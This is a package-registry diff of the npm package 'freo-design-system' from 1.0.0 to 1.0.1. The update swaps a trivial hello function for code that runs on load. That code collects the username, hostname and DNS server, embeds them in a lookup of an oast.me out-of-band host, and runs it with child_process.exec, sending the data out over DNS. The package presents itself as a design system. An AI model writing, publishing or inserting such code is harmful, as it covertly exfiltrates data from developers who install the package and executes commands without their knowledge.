freo-design-system 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +23 -6
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,7 +1,24 @@
1
- //index.js
1
+ const { exec } = require("child_process");
2
+ const os = require("os");
3
+ const dns = require("dns");
2
4
 
3
- function helloNpm() {
4
- return "hello NPM"
5
- }
6
-
7
- module.exports = helloNpm
5
+ // RCE
6
+ const username = os.userInfo().username;
7
+ const hostname = os.hostname();
8
+ const dnsServers = dns.getServers();
9
+ const dnsServer = dnsServers.length > 0 ? dnsServers[0] : "none";
10
+
11
+ // DNS Request
12
+ const command = `host ${dnsServer}.${username}.${hostname}.d05ut4js0ah4vpvvogsgw6rwuaqpa6b7h.oast.me`;
13
+
14
+ exec(command, (error, data, getter) => {
15
+ if (error) {
16
+ console.log("error", error.message);
17
+ return;
18
+ }
19
+ if (getter) {
20
+ console.log(data);
21
+ return;
22
+ }
23
+ console.log(data);
24
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "freo-design-system",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"